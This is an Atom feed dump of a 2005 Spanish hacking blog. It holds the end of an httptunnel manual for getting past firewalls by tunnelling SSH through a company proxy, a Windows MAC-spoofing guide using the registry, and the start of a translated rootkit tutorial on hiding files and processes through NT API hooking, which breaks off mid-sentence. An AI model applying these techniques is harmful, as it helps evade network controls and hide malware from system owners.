fallado por parte del cliente,&lt;br /&gt;pero el server no ha detectado que la conexion se ha perdido&lt;br /&gt;y no permitira conexiones hasta que llegue a su time out.&lt;br /&gt;Para establecer un tunel mas estable experimenta con las&lt;br /&gt;opciones de los hts y htc. Las siguientes funcionan bien&lt;br /&gt;para mi:&lt;br /&gt;&lt;br /&gt;hts -S --max-connection-age 20000 -F localhost:22 8890&lt;br /&gt;&lt;br /&gt;htc -F 8890 --strict-content-length -B 5k&lt;br /&gt;--max-connection-age 2000 -P proxy.mycompany.com:8080&lt;br /&gt;10.1.1.1:8890&lt;br /&gt;&lt;br /&gt;Q:  Ok, Ya econtre unas opciones que parecen funcionar,&lt;br /&gt;pero me sigue "bloqueando" y tengo que esperar el time out&lt;br /&gt;del server. Existe alguna forma para no tener que esperar?&lt;br /&gt;A:  &lt;br /&gt;&lt;br /&gt;Tienes que terminar el proceso manualmente, para realizar&lt;br /&gt;esto  necesitas  una  conexion  de  tipo  SSH  o Telnet  que&lt;br /&gt;funcione dentro del server que corre el hts.  Estos ejemplos&lt;br /&gt;fueron creados para cuando tienes 2 o mas tuneles corriendo.&lt;br /&gt;Ahora,  cuando se congele vas a conectarte a tu servidor  y&lt;br /&gt;terminar el proceso de hts del puerto el cual se te congelo.&lt;br /&gt;&lt;br /&gt;En caso de LINUX:&lt;br /&gt;&lt;br /&gt;#Usa la opcion 'w' para verlo completo&lt;br /&gt;#y asi puedes determinar cual hts es por el puerto en el que&lt;br /&gt;#corre y poder terminar el proceso con su PID&lt;br /&gt;$ ps aux w|grep hts&lt;br /&gt;my_user_name  7268  0.0  0.3  1692  768 ?        S    Sep24  &lt;br /&gt;0:00 hts -S -F localhost:22 8890&lt;br /&gt;my_user_name  7270  0.0  0.2  1692  744 ?        S    Sep24  &lt;br /&gt;0:00 hts -S -F localhost:22 8891&lt;br /&gt;my_user_name 10515  0.0  0.2  1692  720 ?        S    15:37  &lt;br /&gt;0:00 hts -S -F localhost:22 8889&lt;br /&gt;my_user_name 10549  0.0  0.2  1624  616 pts/2    S    15:40  &lt;br /&gt;0:00 grep hts&lt;br /&gt;&lt;br /&gt;#asumimos que es el httptunnel del puerto 8889   &lt;br /&gt;$ kill 10515&lt;br /&gt;&lt;br /&gt;#reiniciamos hts&lt;br /&gt;$ hts -S -F localhost:22 8889&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En caso de WINDOWS (2000, XP):&lt;br /&gt;&lt;br /&gt;#Usamos netstat -a -o para ver todas las conexiones&lt;br /&gt;#y los PIDs asociados con cada conexion&lt;br /&gt;&gt; netstat -a -o&lt;br /&gt;Proto  Local Address   Foreign Address  State      PID&lt;br /&gt;TCP    LOCALHOST:8889  LOCALHOST:0      LISTENING  2696&lt;br /&gt;#suponemos que el hts esta corriendo en el puerto 8889&lt;br /&gt;&lt;br /&gt;#identificamos que PID es el asociado con esa conexion 2696&lt;br /&gt;#y lo terminamos con taskkill /F /PID PID&lt;br /&gt;&gt;taskkill /F /PID 2696&lt;br /&gt;SUCCESS: The process with PID 2696 has been terminated.&lt;br /&gt;#y volvemos a inciar el hts como estaba&lt;br /&gt;&gt;hts -S -F localhost:23 8889&lt;br /&gt;&lt;br /&gt;Q:  Porque me siguen marcando errores el Application&lt;br /&gt;Event Log al usar htc en Windows? Que significa "HTTP&lt;br /&gt;error-503"?&lt;br /&gt;&lt;br /&gt;9/24/2001 2:10:15 PM htc Error None 0 N/A MYPC_NAME The&lt;br /&gt;description for Event ID ( 0 ) in Source ( htc ) cannot be&lt;br /&gt;found. The local computer may not have the necessary&lt;br /&gt;registry information or message DLL files to display&lt;br /&gt;messages from a remote computer. The following information&lt;br /&gt;is part of the event: htc : Win32 Process Id = 0x6BC :&lt;br /&gt;Cygwin Process Id = 0x6BC : exit with status = 1.&lt;br /&gt;&lt;br /&gt;9/24/2001 2:10:15 PM htc Error None 0 N/A MYPC_NAME The&lt;br /&gt;description for Event ID ( 0 ) in Source ( htc ) cannot be&lt;br /&gt;found. The local computer may not have the necessary&lt;br /&gt;registry information or message DLL files to display&lt;br /&gt;messages from a remote computer. The following information&lt;br /&gt;is part of the event: htc : Win32 Process Id = 0x6BC :&lt;br /&gt;Cygwin Process Id = 0x6BC : couldn't open tunnel: I/O error.&lt;br /&gt;&lt;br /&gt;9/24/2001 2:10:15 PM htc Error None 0 N/A MYPC_NAME The&lt;br /&gt;description for Event ID ( 0 ) in Source ( htc ) cannot be&lt;br /&gt;found. The local computer may not have the necessary&lt;br /&gt;registry information or message DLL files to display&lt;br /&gt;messages from a remote computer. The following information&lt;br /&gt;is part of the event: htc : Win32 Process Id = 0x6BC :&lt;br /&gt;http_error_to_errno: HTTP error -503.&lt;br /&gt;&lt;br /&gt;9/24/2001 2:10:15 PM htc Error None 0 N/A MYPC_NAME The&lt;br /&gt;description for Event ID ( 0 ) in Source ( htc ) cannot be&lt;br /&gt;found. The local computer may not have the necessary&lt;br /&gt;registry information or message DLL files to display&lt;br /&gt;messages from a remote computer. The following information&lt;br /&gt;is part of the event: htc : Win32 Process Id = 0x6BC :&lt;br /&gt;tunnel_in_connect: HTTP error 503.&lt;br /&gt;&lt;br /&gt;A:  HTTP 503 significa "Service Unavailable." Servicio&lt;br /&gt;no Disponible, esto sucede en caso que no se pueda conectar&lt;br /&gt;al servidor. En el ejemplo anterior, hts no habia sido&lt;br /&gt;iniciado en el servidor, pero el mismo error puede variar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HTTPTUNNEL -H --HELP&lt;br /&gt;&lt;==================&gt;&lt;br /&gt;&lt;br /&gt;.hts.-h.--help&lt;br /&gt;&lt;br /&gt; htc [OPCIONES] HOST[:PORT]&lt;br /&gt;&lt;br /&gt;htc realiza una conexion httptunnel al PORT de HOST (el PORT&lt;br /&gt;default es 8888).  Cuando se realiza una conexion, el I/O es&lt;br /&gt;redirigido de la fuente especificada por --device o&lt;br /&gt;--forward-port al tunnel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     -h, --help&lt;br /&gt;          Muestra las opciones.&lt;br /&gt;&lt;br /&gt;     -c, --content-length BYTES&lt;br /&gt;          usa HTTP PUT con tamano BYTES (k, M, y G son&lt;br /&gt;          soportados)&lt;br /&gt;&lt;br /&gt;     -d, --device DEVICE&lt;br /&gt;          usa DEVICE para Input / Output&lt;br /&gt;&lt;br /&gt;     -F, --forward-port PORT&lt;br /&gt;          usa el puerto PORT de TCP para Input / Output&lt;br /&gt;&lt;br /&gt;     -k, --keep-alive SECONDS&lt;br /&gt;          mandar keepalive bytes cada SECONDS segundos (el&lt;br /&gt;          default es 5)&lt;br /&gt;&lt;br /&gt;     -M, --max-connection-age SEC&lt;br /&gt;          tiempo maximo que estara abierta una conexion en&lt;br /&gt;          SEC segundos (el default es 300)&lt;br /&gt;&lt;br /&gt;     -S, --strict-content-length&lt;br /&gt;          Mandar Content-Length bytes en los HTTP requests&lt;br /&gt;&lt;br /&gt;     -A, --proxy-authorization USER:PASSWORD&lt;br /&gt;          proxy authorization&lt;br /&gt;&lt;br /&gt;         --proxy-authorization-file FILE&lt;br /&gt;          proxy authorization file&lt;br /&gt;&lt;br /&gt;     -B, --proxy-buffer-size BYTES&lt;br /&gt;          asumir un buffer de proxy de BYTES bytes (k, M,&lt;br /&gt;          y G son soportados)&lt;br /&gt;&lt;br /&gt;     -P, --proxy HOSTNAME[:PORT]&lt;br /&gt;          usa HTTP proxy (el default es 8080)&lt;br /&gt;&lt;br /&gt;     -T, --timeout TIME&lt;br /&gt;          timeout en milisegundos, antes de mandar el&lt;br /&gt;          padding)&lt;br /&gt;&lt;br /&gt;     -U, --user-agent STRING&lt;br /&gt;          especifica el valor de User-Agent en los HTTP&lt;br /&gt;          requests&lt;br /&gt;&lt;br /&gt;     -V, --version&lt;br /&gt;          mostrar unicamente la version&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.htc.-h.--help&lt;br /&gt;&lt;br /&gt; hts [OPCIONES] [:PORT]&lt;br /&gt;&lt;br /&gt;Escucha por conexiones entrantes de tipo httptunnel en PORT&lt;br /&gt;(el default es 8888).  Cuando se realiza una conexion,  el&lt;br /&gt;I/O es redirigido de la fuente especificada por --device o&lt;br /&gt;--forward-port al tunnel.&lt;br /&gt;&lt;br /&gt;     -h, --help&lt;br /&gt;          Muestra las opciones.&lt;br /&gt;&lt;br /&gt;     -c, --content-length BYTES&lt;br /&gt;          usa HTTP PUT con tamano BYTES (k, M, y G son&lt;br /&gt;          soportados)&lt;br /&gt;&lt;br /&gt;     -d, --device DEVICE&lt;br /&gt;          usa DEVICE para Input / Output&lt;br /&gt;&lt;br /&gt;     -F, --forward-port HOST:PORT&lt;br /&gt;          conecta al PORT de HOST y lo usa para la conexion&lt;br /&gt;          input / output&lt;br /&gt;&lt;br /&gt;     -k, --keep-alive SECONDS&lt;br /&gt;          send keepalive bytes every SECONDS seconds&lt;br /&gt;          (el default es 5)&lt;br /&gt;&lt;br /&gt;     -M, --max-connection-age SEC&lt;br /&gt;          tiempo maximo que se quedara la conexion abierta&lt;br /&gt;          en segundos (el default es 300)&lt;br /&gt;&lt;br /&gt;     -s, --stdin-stdout&lt;br /&gt;          usar stdin/stdout para la comunicacion&lt;br /&gt;          (implica --no-daemon)&lt;br /&gt;&lt;br /&gt;     -S, --strict-content-length&lt;br /&gt;          Escribir Content-Length bytes en los requests&lt;br /&gt;&lt;br /&gt;     -V, --version&lt;br /&gt;          muestra la version.&lt;br /&gt;&lt;br /&gt;     -w, --no-daemon&lt;br /&gt;          No irse al background&lt;br /&gt;&lt;br /&gt;     -p, --pid-file LOCATION&lt;br /&gt;          Escribe un PID file a LOCATION.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PUERTOS&lt;br /&gt;&lt;=====&gt;&lt;br /&gt;&lt;br /&gt;Algunos  puertos  llamados  well  know  services  tienen&lt;br /&gt;protocolos asociados con ellos, la combinacion de puerto&lt;br /&gt;y protocolo es lo que realiza la conexion.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.Lista corta de puertos comunes:&lt;br /&gt;&lt;br /&gt;21 (File Transfer Protocol, FTP)&lt;br /&gt;22 (Secure Shell, SSH)&lt;br /&gt;23 (Telnet)&lt;br /&gt;25 (Simple Mail Transfer Protocol, SMTP)&lt;br /&gt;69 (Trivial File Transfer Protocol, tftp)&lt;br /&gt;79 (finger)&lt;br /&gt;80 (Hypertext Transfer Protocol, HTTP)&lt;br /&gt;110 (Post Office Protocol v3, POP3)&lt;br /&gt;119 (Network News Protocol, NNTP)&lt;br /&gt;161 y 162 (Simple Network Management Protocol, SNMP)&lt;br /&gt;443 (Secure Sockets Layer over HTTP, https)&lt;br /&gt;&lt;br /&gt;Para ver una lista completa de los puertos conocidos (well&lt;br /&gt;known services) puedes visitar:&lt;br /&gt;http://www.iana.org/assignments/port-numbers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.Lista.de.aplicaciones.relacionadas.con.puertos&lt;br /&gt;&lt;br /&gt;1214 fasttrack (Kazaa, ...)&lt;br /&gt;1863 MSN Messenger&lt;br /&gt;5190 ICQ, AOL Instant Messenger&lt;br /&gt;6667 IRC (mIRC, ...)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;REFERENCIAS&lt;br /&gt;&lt;=========&gt;&lt;br /&gt;&lt;br /&gt;GNU HTTPTUNNEL  es una herramienta desarrollada  y mantenida&lt;br /&gt;por Lars Brinkhoff de www.nocrew.org. HTTPTUNNEL es software&lt;br /&gt;libre bajo la licencia de GNU General Public Licence.&lt;br /&gt;&lt;br /&gt;Este  texto se llevo acabo  previa autorizacion escrita  del&lt;br /&gt;Autor original, en este caso Lars Brinkhoff lars[]nocrew.org&lt;br /&gt;Para detalles y colaboracion se encuentra mas info en el&lt;br /&gt;archivo AUTHORS dentro del .tar.&lt;br /&gt;&lt;br /&gt;Puedes Bajar el HTTPTUNNEL para:&lt;br /&gt;&lt;br /&gt;Debian GNU/Linux&lt;br /&gt;http://packages.debian.org/httptunnel&lt;br /&gt;&lt;br /&gt;winNT win2000&lt;br /&gt;http://userpages.umbc.edu/~tmoses1/hypertunnelNT.zip&lt;br /&gt;&lt;br /&gt;win32&lt;br /&gt;http://eduardo.cobian.free.fr/gnuht/Win32/&lt;br /&gt;Gnu_Http_Tunnel_3_3.zip&lt;br /&gt;&lt;br /&gt;RPMs&lt;br /&gt;http://www.geocities.com/patola_br/httptunnel/&lt;br /&gt;&lt;br /&gt;GNU Httptunnel.&lt;br /&gt;http://www.nocrew.org/software/httptunnel.html&lt;br /&gt;&lt;br /&gt;GNU Httptunnel FAQ (eng)&lt;br /&gt;http://www.nocrew.org/software/httptunnel/faq.html&lt;br /&gt;&lt;br /&gt;GNU Copyleft&lt;br /&gt;http://www.gnu.org/copyleft/gpl.html&lt;br /&gt;&lt;br /&gt;HTTP 1.1 RFC&lt;br /&gt;http://www.rfc-editor.org/rfc/rfc2616.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AGRADECIMIENTOS&lt;br /&gt;&lt;=============&gt;&lt;br /&gt;&lt;br /&gt;Thanx Lars.&lt;br /&gt;&lt;br /&gt;Y gr33ts para todos:&lt;br /&gt;hd, freetv1, taer, acid_phreak, AVA, Crypkey, darko, Dekar,&lt;br /&gt;Haifa, hiryuu, mcherem, Napa, Obscure Cloud, rem7, vision,&lt;br /&gt;toloache.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; h k m&lt;br /&gt;&lt;br /&gt;hkm[]hakim.ws&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13066511-111666112559174360?l=hax0rs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/111666112559174360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13066511&amp;postID=111666112559174360' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666112559174360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666112559174360'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/2005/05/manual-httptunnel-en-espaol-como.html' title='Manual HTTPTUNNEL en español. ( &quot;Como brincar firewalls&quot; )'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13066511.post-111666110529084053</id><published>2005-05-21T00:38:00.000-07:00</published><updated>2005-05-21T00:38:25.293-07:00</updated><title type='text'>Como "cambiar" el MAC Address en Windows.</title><content type='html'>&lt;pre&gt;=========MAC Address Spoofing=========&lt;br /&gt;Como hacer spoofing a tu direccion MAC&lt;br /&gt;======================================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;==========&lt;br /&gt;Disclaimer&lt;br /&gt;==========&lt;br /&gt;NO CONTINUES LEYENDO!, sin antes leer esto: El autor de este&lt;br /&gt;texto  no  se hace responsable  por  tu estupidez.  Si vas a&lt;br /&gt;llevar  acabo  lo  descrito en este texto  es bajo tu propia&lt;br /&gt;responsabilidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;============&lt;br /&gt;MAC Spoofing&lt;br /&gt;============&lt;br /&gt;Este texto explica como "cambiar" la direccion MAC de un NIC&lt;br /&gt;en  Windows.  Explotando la falta de seguridad en la funcion&lt;br /&gt;NdisReadNetworkAddress.  Esto se realiza agregando un string&lt;br /&gt;al registro.&lt;br /&gt;&lt;br /&gt;La funcion NdisReadNetworkAddress  lee  el valor del MAC del&lt;br /&gt;NIC directamente  desde el  registro de windows  sin  ningun&lt;br /&gt;tipo de encripcion o seguridad (Plain Text).&lt;br /&gt;&lt;br /&gt;Se puede agregar un  string  falso  donde  especifiquemos el&lt;br /&gt;MAC  Address  que  deseamos  para el NIC.   Dependiendo  del&lt;br /&gt;sistema   operativo   y   de  la  configuracion  de  nuestra&lt;br /&gt;maquina encontraremos el key en:&lt;br /&gt;&lt;br /&gt;Windows XP / 2000&lt;br /&gt;=================&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class{4D36E972-E325-11CE-BFC1-08002bE10318}&lt;br /&gt;&lt;br /&gt;Windows 95 / 98&lt;br /&gt;===============&lt;br /&gt;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ClassNet&lt;br /&gt;&lt;br /&gt;Aqui  encontraras  otra seleccion de key,  comunmente "00##"&lt;br /&gt;donde ## es el id del NIC. Para saber cual quieres "cambiar"&lt;br /&gt;puedes  dar click sobre algun "00##"  y ver el  string value&lt;br /&gt;"DriverDesc" que contendra una descripcion de la interfaz.&lt;br /&gt;&lt;br /&gt;Agregas   un   nuevo   string  value   con   el   nombre  de&lt;br /&gt;"NetworkAddress=############" donde ############  es el  MAC&lt;br /&gt;Address deseado (en hexadecimal por supuesto).&lt;br /&gt;&lt;br /&gt;Para que los cambien tomen efecto y tu MAC Address sea leido&lt;br /&gt;por la funcion NdisReadNetworkAddress  es neceario reiniciar&lt;br /&gt;o simplemente deshabilitar y rehabilitar la interfaz.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;========&lt;br /&gt;Glosario&lt;br /&gt;========&lt;br /&gt;MAC Address.  La direccion MAC  (Media Access Control) es un&lt;br /&gt;identificador de 48bits (6 bytes) unico por hardware  (NIC).&lt;br /&gt;Los primeros 3 bytes  indican el fabricante  y los ultimos 3&lt;br /&gt;nos indican  el numero de serie.   Se supone que cada MAC es&lt;br /&gt;diferente.&lt;br /&gt;&lt;br /&gt;NIC. Network Interface Card. Tarjeta de Red.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;======&lt;br /&gt;gr33ts&lt;br /&gt;======&lt;br /&gt;hd, freetv1, -X-, rem7, mcherem, iguanajonte, cheiros,&lt;br /&gt;Obscure Cloud, AVA y prof8086. xD&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;===========&lt;br /&gt;Referencias&lt;br /&gt;===========&lt;br /&gt;NDIS Library Function References&lt;br /&gt;http://msdn.microsoft.com/library/default.asp?url=/library/&lt;br /&gt;en-us/network/hh/network/103ndisx_5e9f.asp&lt;br /&gt;&lt;br /&gt;SMAC de KLC Consulting&lt;br /&gt;http://www.klcconsulting.net/smac/&lt;br /&gt;&lt;br /&gt;Neohapsis Archives&lt;br /&gt;http://archives.neohapsis.com/archives/vuln-dev/2000-q1/&lt;br /&gt;0517.html&lt;br /&gt;&lt;br /&gt;Fabricantes por MAC&lt;br /&gt;http://standards.ieee.org/regauth/oui/oui.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;h k m&lt;br /&gt;&lt;br /&gt;hkm[]hakim.ws&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13066511-111666110529084053?l=hax0rs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/111666110529084053/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13066511&amp;postID=111666110529084053' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666110529084053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666110529084053'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/2005/05/como-cambiar-el-mac-address-en-windows.html' title='Como &quot;cambiar&quot; el MAC Address en Windows.'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13066511.post-111666107486974389</id><published>2005-05-21T00:37:00.001-07:00</published><updated>2005-05-21T00:37:54.900-07:00</updated><title type='text'>Tecnicas para esconder archivos, servicios, procesos, ... Usando hooking de APIs.</title><content type='html'>&lt;pre&gt;========================[ Invisibilidad en sistemas NT ]========================&lt;br /&gt;&lt;br /&gt;                       Como ser invisible en Windows NT&lt;br /&gt;                       --------------------------------&lt;br /&gt;&lt;br /&gt;                      Autor:  Holy_Father &lt;holy_father@phreaker.net&gt;&lt;br /&gt;         Traduccion: Kintaro &lt;kintaro_@hotmail.com&gt; &lt;br /&gt;                      Version: 1.2 spanish&lt;br /&gt;                      Fecha:   01.01.2005&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;=====[ 1. Contenidos ]==========================================================&lt;br /&gt;&lt;br /&gt;1. Contenidos&lt;br /&gt;2. Introduccion&lt;br /&gt;3. Ficheros&lt;br /&gt; 3.1 NtQueryDirectoryFile&lt;br /&gt; 3.2 NtVdmControl&lt;br /&gt;4. Procesos&lt;br /&gt;5. Registro&lt;br /&gt; 5.1 NtEnumerateKey&lt;br /&gt; 5.2 NtEnumerateValueKey&lt;br /&gt;6. Servicios de sistema y drivers&lt;br /&gt;7. Expandiendo los ganchos&lt;br /&gt; 7.1 Derechos&lt;br /&gt; 7.2 Gancho global&lt;br /&gt; 7.3 Nuevos procesos&lt;br /&gt; 7.4 DLL&lt;br /&gt;8. Memoria&lt;br /&gt;9. Handle (Manejadores)&lt;br /&gt; 9.1 Nombrando el handle y obteniendo el tipo&lt;br /&gt;10. Puertos&lt;br /&gt; 10.1 Netstat, OpPorts en WinXP, FPort en WinXP&lt;br /&gt; 10.2 OpPorts en Win2k y NT4, FPort en Win2k&lt;br /&gt;11. Terminando&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 2. Introduccion ]========================================================&lt;br /&gt;&lt;br /&gt; Este documento trata sobre tecnicas de esconder objetos, ficheros,&lt;br /&gt;servicios, procesos, etc. en sistemas Windows NT. Estos metodos estan basados&lt;br /&gt;en lso ganchos a funciones de la Windows API que estan descritos en mi&lt;br /&gt;documentos "Hooking Windows API".&lt;br /&gt; Todo esto lo aprendi por mis investigaciones durante el desarrollo&lt;br /&gt;del codigo del rootkit, asique es posible que pueda ser escrito mejor y mas&lt;br /&gt;facilmente de lo que yo lo hago. Esto incluye mi implementacion del rootkit.&lt;br /&gt;&lt;br /&gt; Ocultacion de objeto arbitrario, en este documento, significa cambiar&lt;br /&gt;algunas funciones que muestran estos objetos de manera que evitemos que&lt;br /&gt;muestren el objeto. En el caso de que ese objeto fuese el valor de retorno&lt;br /&gt;de esa funcion, nosotros devolveriamos el valor como si el objeto no&lt;br /&gt;existiese.&lt;br /&gt;&lt;br /&gt; El metodo basico (excluyendo casos en que indique diferente) es que&lt;br /&gt;llamaremos la funcion original con los argumentos originales y lo que&lt;br /&gt;cambiariamos seria su salida.&lt;br /&gt; &lt;br /&gt; En esta de este texto se describen metodos de ocultar ficheros,&lt;br /&gt;procesos, claves y valores de registros, servicios de sistema y drivers,&lt;br /&gt;reservas de memoria y handles.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 3. Ficheros ]============================================================&lt;br /&gt;&lt;br /&gt; Hay varias posibilidades de ocultar ficheros de manera que no los vea&lt;br /&gt;el SO. Nosotros nos dedicaremos solo a modificar la APi, olvidandonos de&lt;br /&gt;aquellas tecnicas que realizan cambios en el sistema de ficheros. Asi es mucho&lt;br /&gt;mas facil ya que no necesitmos conocer el sistema de ficheros en particular.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=====[ 3.1 NtQueryDirectoryFile ]===============================================&lt;br /&gt;&lt;br /&gt; La busqueda de ficheros en WNT en algun directorio se basa en buscar&lt;br /&gt;todos sus ficheros y todos sus subdirectorios con ficheros. Para enumerar&lt;br /&gt;ficheros se usa la funcion NtQueryDirectoryFile.&lt;br /&gt;&lt;br /&gt; NTSTATUS NtQueryDirectoryFile(&lt;br /&gt;  IN HANDLE FileHandle,&lt;br /&gt;  IN HANDLE Event OPTIONAL,&lt;br /&gt;  IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,&lt;br /&gt;  IN PVOID ApcContext OPTIONAL,&lt;br /&gt;  OUT PIO_STATUS_BLOCK IoStatusBlock,&lt;br /&gt;  OUT PVOID FileInformation,&lt;br /&gt;  IN ULONG FileInformationLength,&lt;br /&gt;  IN FILE_INFORMATION_CLASS FileInformationClass,&lt;br /&gt;  IN BOOLEAN ReturnSingleEntry,&lt;br /&gt;  IN PUNICODE_STRING FileName OPTIONAL,&lt;br /&gt;  IN BOOLEAN RestartScan&lt;br /&gt; );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Los parametros importantes para nosotros son FileHandle,&lt;br /&gt;FileInformation y FileInformationClass.&lt;br /&gt; FileHandle es el handle del directorio, el cual se obtiene con&lt;br /&gt;NtOpenFile.&lt;br /&gt; FileInformation es un puntero a una zona de memoria donde se escribira&lt;br /&gt;la informacion pedida.&lt;br /&gt; FileInformationClass determina el tipo de registro que se escribira&lt;br /&gt;en FileInformation. FileInformationClass es un tipo enumerado, y son cuatro&lt;br /&gt;los valores que necesitamos para la enumeracion de un directorio.&lt;br /&gt;&lt;br /&gt; #define FileDirectoryInformation 1&lt;br /&gt; #define FileFullDirectoryInformation 2&lt;br /&gt; #define FileBothDirectoryInformation 3&lt;br /&gt; #define FileNamesInformation 12&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;la estructura escrita es FileInformation con FileDirectoryInformation es:&lt;br /&gt;&lt;br /&gt; typedef struct _FILE_DIRECTORY_INFORMATION {&lt;br /&gt;  ULONG NextEntryOffset;&lt;br /&gt;  ULONG Unknown;&lt;br /&gt;  LARGE_INTEGER CreationTime;&lt;br /&gt;  LARGE_INTEGER LastAccessTime;&lt;br /&gt;  LARGE_INTEGER LastWriteTime;&lt;br /&gt;  LARGE_INTEGER ChangeTime;&lt;br /&gt;  LARGE_INTEGER EndOfFile;&lt;br /&gt;  LARGE_INTEGER AllocationSize;&lt;br /&gt;  ULONG FileAttributes;&lt;br /&gt;  ULONG FileNameLength;&lt;br /&gt;  WCHAR FileName[1];&lt;br /&gt; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;con FileFullDirectoryInformation:&lt;br /&gt;&lt;br /&gt; typedef struct _FILE_FULL_DIRECTORY_INFORMATION {&lt;br /&gt;  ULONG NextEntryOffset;&lt;br /&gt;  ULONG Unknown;&lt;br /&gt;  LARGE_INTEGER CreationTime;&lt;br /&gt;  LARGE_INTEGER LastAccessTime;&lt;br /&gt;  LARGE_INTEGER LastWriteTime;&lt;br /&gt;  LARGE_INTEGER ChangeTime;&lt;br /&gt;  LARGE_INTEGER EndOfFile;&lt;br /&gt;  LARGE_INTEGER AllocationSize;&lt;br /&gt;  ULONG FileAttributes;&lt;br /&gt;  ULONG FileNameLength;&lt;br /&gt;  ULONG EaInformationLength;&lt;br /&gt;  WCHAR FileName[1];&lt;br /&gt; } FILE_FULL_DIRECTORY_INFORMATION, *PFILE_FULL_DIRECTORY_INFORMATION;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;con FileBothDirectoryInformation:&lt;br /&gt;&lt;br /&gt; typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {&lt;br /&gt;  ULONG NextEntryOffset;&lt;br /&gt;  ULONG Unknown;&lt;br /&gt;  LARGE_INTEGER CreationTime;&lt;br /&gt;  LARGE_INTEGER LastAccessTime;&lt;br /&gt;  LARGE_INTEGER LastWriteTime;&lt;br /&gt;  LARGE_INTEGER ChangeTime;&lt;br /&gt;  LARGE_INTEGER EndOfFile;&lt;br /&gt;  LARGE_INTEGER AllocationSize;&lt;br /&gt;  ULONG FileAttributes;&lt;br /&gt;  ULONG FileNameLength;&lt;br /&gt;  ULONG EaInformationLength;&lt;br /&gt;  UCHAR AlternateNameLength;&lt;br /&gt;  WCHAR AlternateName[12];&lt;br /&gt;  WCHAR FileName[1];&lt;br /&gt; } FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;y con FileNamesInformation:&lt;br /&gt;&lt;br /&gt; typedef struct _FILE_NAMES_INFORMATION {&lt;br /&gt;  ULONG NextEntryOffset;&lt;br /&gt;  ULONG Unknown;&lt;br /&gt;  ULONG FileNameLength;&lt;br /&gt;  WCHAR FileName[1];&lt;br /&gt; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Esta funcion escribe una lista de estas estructuras en FileInformation.&lt;br /&gt; Solo tres varibles nos importan en cualquiera de estos tipos&lt;br /&gt;de estructuras.&lt;br /&gt; NextEntryOffset es la longitud en bytes del nodo estructura actual.&lt;br /&gt;El primer nodo empieza en la direccion FileInformation + 0. El segundo&lt;br /&gt;en FileInformation + NextEntryOffset 